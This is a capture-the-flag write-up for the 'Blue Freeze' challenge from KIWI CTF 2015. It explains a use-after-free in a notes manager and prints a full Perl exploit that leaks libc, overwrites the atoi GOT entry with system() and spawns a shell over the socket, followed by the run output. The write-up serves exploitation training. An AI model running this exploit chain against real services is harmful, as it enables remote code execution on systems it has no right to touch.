This is a short writeup Blue Freeze from KIWI CTF 2015, written by backtick // FluxFingers. Blue Freeze is a small notes-database that allows you to store, view and edit notes inside a linked list. The structure of a note looks like the following: struct note { struct note *next; int note_id; int note_len; char *note; char date[64]; }; Adding notes happens via malloc(), so all our notes will be appended to the heap. Viewing notes etc just works via providing a note id, and the manager then traverses all the notes till it finds the specific id. When looking for obvious overflows and such we won't find much, as the manager allocates a byte more than we requested and stores exactly our requested size, like the following: while ( !len ) { sendstr(fd, "[?] How long would you say(in byte), my Great H4ck4r?\n> "); recvlen_until(fd, &nptr, 16, 10); len = atoi(&nptr); if ( !len || len > 0x100 ) { sendstr(fd, "[!] Invalid name length, please try again.\n"); len = 0; } } note_buf = (char *)malloc(len + 1); note_buf[len] = 0; if ( !note_buf ) { perror("malloc"); exit(1); } sendstr(fd, "[?] What would you say, my Great H4ck3r?\n> "); recvlen_until(fd, note_buf, len, 10); list_add(len, note_buf, fd); Editing notes works similar, we provide a note id, the manager asks for a size and mallocs a new note for us if our new size is bigger than the previous one. So no overflow or such aswell. However when looking at editing notes in more detail we notice the following: for ( ptr = root; ptr; ptr = next ) { next = ptr->next; if ( !strcmp(ptr->date, &s) && ptr->note_id != id - 1 ) { snprintf( &v21, 0x80u, "[!] No H4ck3er could leave two notes at the same time B-) Note ID: %d is removed!\n", ptr->note_id); sendstr(fd, &v21); free(ptr); } } Why that's odd. After the note has been put into the list, it re-traverses the whole list and checks if the last two notes have the same timestamp. If they have, the previous note is simply free'd without being removed from the list and thus creating a use-after-free condition. So our strategy is as follows: - Create a short note of size 1 - Create two notes directly after another, leading two the same timestamp and thus UAF. - Modify the size of the first note to lap over the free'd note, and modify it such that we control the free'd note's structure. - Give the 'fake'-note an id that we can then edit to achive arbitrary read/write. I wrote a few quick subroutines to add, edit and view notes: sub add_note { $size = shift; $msg = shift; print $sock '2', $/; read_until('> '); print $sock $size, $/; read_until('> '); print $sock $msg, $/; read_until("Quit\n> "); } sub edit_note { $id = shift; $size = shift; $msg = shift; print $sock '3', $/; read_until('> '); print $sock $id, $/; read_until('> '); print $sock $size, $/; read_until('> '); print $sock $msg, $/; read_until("Quit\n> "); } sub view_notes { print $sock '1', $/; return read_until('> '); } Now we can recreate our strategy: add_note('1', 'hallo'); sleep(1); # trigger UAF add_note('7', 'xxxxxxx'); add_note('7', 'xxxxxxx'); # modify note 0 and control free'd note: edit_note(0, 20, pack("I", 0) . pack("I", 1) . pack("I", 0x80) . pack("I", 0x08048000)); # View notes and leak ELF-header from 0x08048000. $buf = view_notes(); $buf =~ /ID:1.*Note:(.*)/; return $1; Using this we have a nice and repeatable leak that we can use for resolving symbols from libc. I had to do this because I just coulndn't find a libc that matched my offset fingerprints. Once we have resolved the system() function we can trigger an arbitrary add in the same manner, by editing note 0 again to point to some GOT entry (I chose atoi), and then editing our 'fake'-note to overwrite the GOT entry with the system() addr: edit_note(0, 20, pack("I", 0) . pack("I", 1) . pack("I", 0x80) . pack("I", 0x804C088)); view_notes(); edit_note(1, 10, pack("I", $system)); Now we can just add a note and once the manager wants a size from us we can simply supply arbitrary shell commands: print $sock '2', $/; print $sock "sh <&4 >&4 2>&4", $/; Which gives us /bin/sh but bound to our socket fd. Running the exploits looks like this: $ perl expl.pl d96b89.hack.dat.kiwi 1337 [x] trying to leak ELF header: success [x] leaking atoi@got using puts [x] free at 0xf764a560 [x] scanning for libc base ... [x] libc base at 0xf7619000 [x] libc program headers at 0xf7619034 [x] libc dynamic found at 0xf77bfda8 [x] libc strtab found at 0xf7626438 [x] libc symtab found at 0xf761cec8 [x] dumping symbols to find system (might take a while) [x] got function: msgctl [x] got function: wcwidth [x] got function: msgctl [x] got function: inet_lnaof [x] got function: sigdelset [x] got function: ioctl [x] got function: syncfs [x] got function: gnu_get_libc_release [x] got function: fchownat [x] got function: alarm [x] got function: _IO_2_1_stderr_ [x] got function: _IO_sputbackwc [x] got function: __libc_pvalloc [x] system at 0xf7658cd0 [?] How long would you say(in byte), my Great H4ck4r? > id sh: 2: id: not found ls -la total 12 drwxr-xr-x 2 1001 1001 4096 Nov 19 02:50 . drwxr-xr-x 3 1001 1001 4096 Nov 19 02:50 .. -rw-r--r-- 1 1001 1001 32 Nov 19 02:50 flag.txt cat flag.txt Z2iSxXhHSEhH0bhcZ2iSxXhHSEhH0bhc Full Exploit (no use strict; yolo): use IO::Socket; $|++; my $sock = new IO::Socket::INET( PeerAddr => shift, PeerPort => shift, Proto => 'tcp', ) or die 'wut', $/; sub read_until { my $until = shift; my $ret = ''; while (1) { sysread $sock, my $tmp, 1, 0; #print $tmp; $ret .= $tmp; return $ret if $ret =~ /$until/; } } sub shell { my $pid = fork(); my $byte; if ($pid) { print $byte while sysread $sock, $byte, 1 == 1; kill('TERM', $pid); } else { print $sock $line while defined ($line = <>); exit 0; } } sub add_note { $size = shift; $msg = shift; print $sock '2', $/; read_until('> '); print $sock $size, $/; read_until('> '); print $sock $msg, $/; read_until("Quit\n> "); } sub edit_note { $id = shift; $size = shift; $msg = shift; print $sock '3', $/; read_until('> '); print $sock $id, $/; read_until('> '); print $sock $size, $/; read_until('> '); print $sock $msg, $/; read_until("Quit\n> "); } sub view_notes { print $sock '1', $/; return read_until('> '); } sub upack { my $str = substr shift, 0, 4; return unpack 'I', $str . "\x00"x(4 - length $str); } sub get_elf { my $start = shift; my $pages = 0; $start &= 0xfffff000; $pages += 0x1000 while leak($start - $pages) !~ /^\x7fELF/; return $start - $pages; } sub get_prog_headers { my $base = shift; return upack leak($base + 28); } sub get_dynamic { my $prog = shift; my $i = 0; while (1) { last if (upack leak($prog + $i)) == 2; $i += 32; } return upack leak($prog + $i + 8); } sub get_str_symtab { my $dynamic = shift; my ($strtab, $symtab, $type); my $i = 0; while (!defined $strtab or !defined $symtab) { $type = upack leak($dynamic + $i); $strtab = upack leak($dynamic + $i + 4) if $type == 5; $symtab = upack leak($dynamic + $i + 4) if $type == 6; $i += 8; } return ($strtab, $symtab); } sub get_symbol { my ($symbol, $strtab, $symtab) = @_; my $offset; my $i = 1430 * 16; while (1) { $offset = upack leak($symtab + $i); return upack leak($symtab + $i + 4) if leak($strtab + $offset) eq $symbol; print '[x] got function: '; print leak($strtab + $offset, length $symbol); print $/; $i += 16; } } sub leak { $addr = shift; # printf "DEBUG: 0x%x\n", $addr; return 'addr invalid' if pack("I", $addr) =~ /\n/; edit_note(0, 20, pack("I", 0) . pack("I", 1) . pack("I", 0x80) . pack("I", $addr)); $buf = view_notes(); $buf =~ /ID:1.*Note:(.*)/; return $1; } read_until('> '); add_note('1', 'hallo'); sleep(1); add_note('7', 'xxxxxxx'); add_note('7', 'xxxxxxx'); # leak print '[x] trying to leak ELF header: '; die 'fail', $/ if leak(0x08048000) !~ /^\x7fELF/; print 'success', $/; print '[x] leaking atoi@got using puts', $/; my $atoi_got = upack leak(0x804C088); printf "[x] free at 0x%x\n", $atoi_got; print '[x] scanning for libc base ...', $/; my $libc_base = get_elf($atoi_got); printf "[x] libc base at 0x%x\n", $libc_base; my $prog_hdrs = get_prog_headers($libc_base) + $libc_base; printf "[x] libc program headers at 0x%x\n", $prog_hdrs; my $dynamic = get_dynamic($prog_hdrs) + $libc_base; printf "[x] libc dynamic found at 0x%x\n", $dynamic; my ($strtab, $symtab) = get_str_symtab($dynamic); printf "[x] libc strtab found at 0x%x\n", $strtab; printf "[x] libc symtab found at 0x%x\n", $symtab; print '[x] dumping symbols to find system (might take a while)', $/; my $system = get_symbol('system', $strtab, $symtab) + $libc_base; printf "[x] system at 0x%x\n", $system; # corrupt edit_note(0, 20, pack("I", 0) . pack("I", 1) . pack("I", 0x80) . pack("I", 0x804C088)); view_notes(); edit_note(1, 10, pack("I", $system)); print $sock '2', $/; print $sock "sh <&4 >&4 2>&4", $/; shell();